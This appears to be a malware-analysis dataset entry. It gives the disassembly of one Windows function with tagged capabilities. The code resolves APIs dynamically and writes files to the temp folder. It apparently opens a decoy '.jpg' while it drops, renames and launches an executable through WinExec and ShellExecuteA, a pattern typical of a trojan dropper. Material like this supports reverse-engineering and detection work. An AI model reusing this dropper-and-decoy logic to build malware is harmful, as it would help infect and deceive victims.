Function at 0x401590
Capabilities:
Create process on windows
Get common file path
Move file

Disassembly:
sub esp, 0x52c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.user32.dll
call esi
mov dword [0x40321c], eax
mov eax, dword [0x403220]
push str.wsprintfA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x403228], eax
call fcn.00401090
mov dword [esp + 0x10], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x12d]
mov byte [esp + 0x12c], 0
mov byte [esp + 0x334], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x335]
mov byte [esp + 0x230], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x231]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x230]
push ecx
push 0x104
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.kernel32.dll
call esi
mov dword [0x40321c], eax
call fcn.00401470
mov esi, eax
test esi, esi
jbe 0x401882
push esi
call sub.MFC42.DLL_operatornew
mov ebx, eax
push esi
push ebx
push 0x403118
call fcn.004014e0
add esp, 0x10
test eax, eax
je 0x401882
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x230]
push edx
lea eax, [esp + 0x338]
push str._s.jpg
push eax
call ebp
lea ecx, [esp + 0x23c]
lea edx, [esp + 0x138]
push ecx
push str._s.temp
push edx
call ebp
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x451]
mov byte [esp + 0x450], 0
rep stosd dword es:[edi], eax
movsx ecx, byte [esp + 0x144]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x40]
push eax
push ecx
push str._c:_d.._
push edx
call ebp
mov eax, dword [str.b_y4_]
mov cx, word [0x4030c4]
mov dl, byte [0x4030c6]
mov dword [esp + 0x44], eax
mov eax, dword [str._r74_]
push 0
mov dword [esp + 0x40], eax
lea eax, [esp + 0x48]
mov word [esp + 0x4c], cx
mov cx, word [0x4030bc]
mov byte [esp + 0x4e], dl
mov dl, byte [0x4030be]
push esi
push eax
push ebx
mov word [esp + 0x50], cx
mov byte [esp + 0x52], dl
call fcn.004010f0
add esp, 0x38
mov edi, eax
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ShellExecuteA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, esi
mov dword [esp + 0x24], eax
sub ecx, edi
push 1
sub ecx, 6
lea edx, [edi + ebx + 6]
push ecx
lea eax, [esp + 0x33c]
push edx
push eax
call fcn.00401180
add esp, 0x10
test eax, eax
je 0x401882
mov edi, dword [esp + 0x24]
push 5
push 0
lea ecx, [esp + 0x33c]
push 0
push ecx
push str.open
push 0
call edi
call fcn.00401150
test eax, eax
jne 0x4017ae
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x52c
ret
push 0
lea edx, [esp + 0x18]
push esi
push edx
push ebx
call fcn.004010f0
sub esi, eax
push 2
sub esi, 6
lea eax, [eax + ebx + 6]
push esi
lea ecx, [esp + 0x144]
push eax
push ecx
call fcn.00401180
add esp, 0x20
test eax, eax
je 0x401882
lea edx, [esp + 0x28]
lea eax, [esp + 0x438]
push edx
push str.cmd__c_md__s
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0x438]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x28]
push edx
push eax
lea ecx, [esp + 0x30]
push str._s_d.exe
push ecx
call ebp
mov edx, dword [0x40321c]
add esp, 0x10
push str.Sleep
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.MSVCRT.dll_rename]
mov esi, eax
lea eax, [esp + 0x28]
lea ecx, [esp + 0x12c]
push eax
push ecx
call ebx
add esp, 8
test eax, eax
je 0x40186b
push 0x10
call esi
lea edx, [esp + 0x28]
lea eax, [esp + 0x12c]
push edx
push eax
call ebx
add esp, 8
test eax, eax
jne 0x401851
push 5
push 0x40306c
lea ecx, [esp + 0x30]
push 0
push ecx
push str.open
push 0
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x52c
ret